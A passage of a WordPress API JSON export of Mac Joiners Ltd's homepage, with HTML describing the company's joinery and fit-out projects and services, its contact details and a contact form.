http:\/\/www.macjoinersltd.co.uk\/wp-content\/uploads\/2021\/02\/Mac_Joiners_Project_TeaHouser-1024x683.jpg 1024w, http:\/\/www.macjoinersltd.co.uk\/wp-content\/uploads\/2021\/02\/Mac_Joiners_Project_TeaHouser-768x512.jpg 768w, http:\/\/www.macjoinersltd.co.uk\/wp-content\/uploads\/2021\/02\/Mac_Joiners_Project_TeaHouser-1536x1024.jpg 1536w\" sizes=\"(max-width: 1981px) 100vw, 1981px\" \/> \n \n THE TEA HOUSE - GLASGOW \n \n <a href=\"#\"><\/a>\n<h2>Kings Glen, Greenock<\/h2>\n<p>Social housing development on behalf of CCG (Scotland) Ltd<\/p>\n<a href=\"http:\/\/www.macjoinersltd.co.uk\/2021\/07\/29\/kings-glen\/\" target=\"_blank\">Link<\/a> \n <img src=\"http:\/\/www.macjoinersltd.co.uk\/wp-content\/uploads\/2021\/07\/Mac_Joiners_Project_KingsGlen.jpg\" title=\"Mac_Joiners_Project_KingsGlen\" alt=\"KINGS GLEN, GREENOCK\" srcset=\"http:\/\/www.macjoinersltd.co.uk\/wp-content\/uploads\/2021\/07\/Mac_Joiners_Project_KingsGlen.jpg 1981w, http:\/\/www.macjoinersltd.co.uk\/wp-content\/uploads\/2021\/07\/Mac_Joiners_Project_KingsGlen-300x200.jpg 300w, http:\/\/www.macjoinersltd.co.uk\/wp-content\/uploads\/2021\/07\/Mac_Joiners_Project_KingsGlen-1024x683.jpg 1024w, http:\/\/www.macjoinersltd.co.uk\/wp-content\/uploads\/2021\/07\/Mac_Joiners_Project_KingsGlen-768x512.jpg 768w, http:\/\/www.macjoinersltd.co.uk\/wp-content\/uploads\/2021\/07\/Mac_Joiners_Project_KingsGlen-1536x1024.jpg 1536w\" sizes=\"(max-width: 1981px) 100vw, 1981px\" \/> \n \n KINGS GLEN, GREENOCK \n \n <a href=\"#\"><\/a>\n<h1>SERVICES<br\/><\/h1>\n<h1>Retail \/ Pub Fit Out<\/h1> <p>Mac Joiners Ltd have a wealth of experience in all aspects of shop fitting, bar fit outs, and full service interior refits, we manage your project form the first idea to the satisfactory completion and you can rely on us for close contact service, attention to detail and above all professional and qualified craftsmen dedicated to make you next fit out project as smooth and as safe as possible.<\/p> <h1><br>New Build Houses<\/h1> <p>Over the years we have worked on various new build projects on both residential and commercial properties. We are able to plan a large scale project from beginning to end using the best tradesmen in the industry. An increasing number of people are also opting to undertake their own one off bespoke projects in order to get the home they have always desired.<\/p> <h1><br>Hotel Fit Out<\/h1> <p>At Mac Joiners Ltd we take care of a wide array of hotel projects, ranging from small boutique independents, through to internationally renowned brands. We take pride in being able to achieve great results across a whole host of different works, including front house updates, structural alterations and wholesale refurbishments.<\/p> <h1><br>In-House Bespoke Joinery Manufacturer<\/h1> <p>Since we have formed, the skillset that we have brought into our projects has been greatly enhanced by the detailed scope of joinery works that we are lucky to be involved in. With our great attention to detail we have won the confidence of our clients over and over to be commissioned for high end joinery works with both private clients and commercial companies.<\/p> <h1><br>Student Accommodation Fit Out<\/h1> <p>A student accommodation is a place where students can study, relax, relationships are built and goals are achieved.\u00a0We have assembled the talent to ensure your student accommodation fit out is delivered on time, to budget and to your expectations.<\/p> <h1><br>Maintenance Services<\/h1> <p>Mac Joiners Ltd provide property and building maintenance services throughout the United Kingdom. Our dedicated team of experienced joiners means that services are provided quickly and efficiently, with solutions delivered to the highest standard resulting in as little disruption to our client\u2019s business as possible.<\/p>\n<h1>NEWS<br\/><\/h1>\n<p style=\"text-align: center;\">Please check back soon for news about our current projects.<\/p>\n<h1>CONTACT US<br\/><\/h1>\n<h3>Why not say hello?<\/h3>\n<a href=\"mailto:info@macjoinersltd.co.uk\" rel=\"noopener\" target=\"_blank\"> <em><svg aria-hidden=\"true\"><use href=\"#tf-far-envelope\"><\/use><\/svg><\/em> info@macjoinersltd.co.uk <\/a> <em><svg aria-hidden=\"true\"><use href=\"#tf-fas-phone-alt\"><\/use><\/svg><\/em> 07854 999 590\n<form id=\"tb_apn756-form\" method=\"post\" data-post-id=\"0\" data-element-id=\"apn756\" data-orig-id=\"8\" > <label for=\"tb_apn756-contact-name\"> <\/label> <input type=\"text\" name=\"contact-name\" placeholder=\"Name\" id=\"tb_apn756-contact-name\" value=\"\" > <label for=\"tb_apn756-contact-email\"> <\/label> <input type=\"email\" name=\"contact-email\" placeholder=\"Email\" id=\"tb_apn756-contact-email\" value=\"\" > <label for=\"tb_apn756-contact-message\"> <\/label> <textarea name=\"contact-message\" placeholder=\"Message\" id=\"tb_apn756-contact-message\"><\/textarea> <button type=\"submit\"> Send <\/button> <\/form>","_links":{"self":[{"href":"http:\/\/www.macjoinersltd.co.uk\/wp-json\/wp\/v2\/pages\/8"}],"collection":[{"href":"http:\/\/www.macjoinersltd.co.uk\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"http:\/\/www.macjoinersltd.co.uk\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"http:\/\/www.macjoinersltd.co.uk\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.macjoinersltd.co.uk\/wp-json\/wp\/v2\/comments?post=8"}],"version-history":[{"count":168,"href":"http:\/\/www.macjoinersltd.co.uk\/wp-json\/wp\/v2\/pages\/8\/revisions"}],"predecessor-version":[{"id":390,"href":"http:\/\/www.macjoinersltd.co.uk\/wp-json\/wp\/v2\/pages\/8\/revisions\/390"}],"wp:attachment":[{"href":"http:\/\/www.macjoinersltd.co.uk\/wp-json\/wp\/v2\/media?parent=8"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}